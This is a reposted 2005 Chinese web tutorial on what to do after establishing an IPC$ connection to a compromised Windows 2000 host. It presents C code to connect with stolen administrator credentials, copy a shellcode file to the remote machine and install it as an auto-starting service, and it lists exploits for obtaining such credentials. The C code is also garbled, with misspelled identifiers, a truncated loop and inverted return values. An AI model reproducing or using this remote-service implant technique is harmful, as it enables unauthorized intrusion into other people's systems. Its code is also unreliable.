庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>操作系统>Linux>编程开发>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

C和C++建立IPC连接之后续操作

 作者:本站收集   日期:2005-4-13
字号选择〖 〗/ 双击滚屏 单击停止   
如何建立IPC连接呢?不用我说,大家都知道:

   net use \\ip\\ipc$ password /user:user。在这里,我们应想办法得到Administrator的权限的帐户和密码,方法有很多:

   ⑴流光扫描

   ⑵NULL.printer缓冲区溢出

   ⑶MS SQL空密码

   ⑷Unicode漏洞

   ⑸远程终端输入法漏洞

   ⑹idq.dll漏洞

   ……太多了!具体方法我就不说了。

   得到Windows 2k administrator权限以后,可以做什么呢?想做什么就做什么呗!装什么服务的,当然是自己写的服务程序啦!你看s如何呢?下面就从编程的角度的来谈谈,读者要有一定的网络编程基础,同时有的地方没给出错误检查,有部分代码是参考别人的。一些函数和结构请参考MSDN。不足之处还请读者自己完善,也可以和我交流:heavyd@cngale.com。下面请看:

   1、如何建立IPC连接,请看以下代码:

BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
{ char tmp[128]="\\\\";
  strcat(tmp,RemoteName);
  strcat(tmp,"\\ipc$");
  NETRESOUCE NetResouce;
  NetResouce.lpRemoteName=tmp;
  NetResouce.dwType=RESOURCETYPE_ANY;
  NetResouce.lpProvider=NULL;
  if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
   //建立连接!
   return FALSE;
  else
   return TRUE;
}

   是不是很简单?对!就这么简单!那么,接着来吧!
2、开始把程序写到主机上吧!

BOOL SendFile(char *RemotePathAndFile)
{
  HANDLE hRF;
  unsigned char ShellCode[]="write code here,such as \x90\x90";
  int WrittenSize=0;
  int Lenth=sizeof(ShellCode);
  hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
  CREATE_ALWAYS,
  FILE_ATTRIBUTE_NORMAL,
  NUL L);//建立文件
if (hRF==INVALID_HANDLE_values) return FALSE;
//写文件过程:
for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
return FALSE;
Printf("Send file succeed!\n");
}


   3、就要成功了,最后一步啦!--启动服务!

   步骤:a、启动服务控制管理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;

      b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

      c、启动服务(StartService)

      d、顺便提提:ControService可以控制服务的状态

      如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

        //停止服务

        ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

        //暂停服务

   请看下面代码:

BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
{
SC_HANDLE hSCM=NULL,hSCS=NULL;
SERVICE_STATUS ServiceStatus;
hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS);
hSCS=CreateService(hSCM, //句柄
ServiceName,//服务开始名
ServiceName,//显示服务名
SERVICE_ALL_ACCESS,//服务访问类型
SERVICE_WIN32_OWN_PROCESS,//服务类型
SERVICE_AUTO_START,//自动启动服务
SERVICE_ERROR_IGNORE,//忽略错误
FileName,//启动的文件名
NULL,//name of load ordering group (载入组名)
NULL,//标签标识符
NULL,//相关性数组名
NULL,//帐户(当前)
NULL);//密码(当前)

if(StartServic(hSCS,
argc,//参数数
argv);//参数
{
  Sleep(30);//延时,开始启动服务
while(QueryServiceStatus(hSCS,&ServiceStatus)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
Sleep(30);
else break;
}
if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
return TRUE;
else FALSE;
}
}


   好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!

   注意:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!
上一篇:WAV文件格式的应用举例    下一篇:gcc常用的编译选项对代码的影响  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-4-13
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿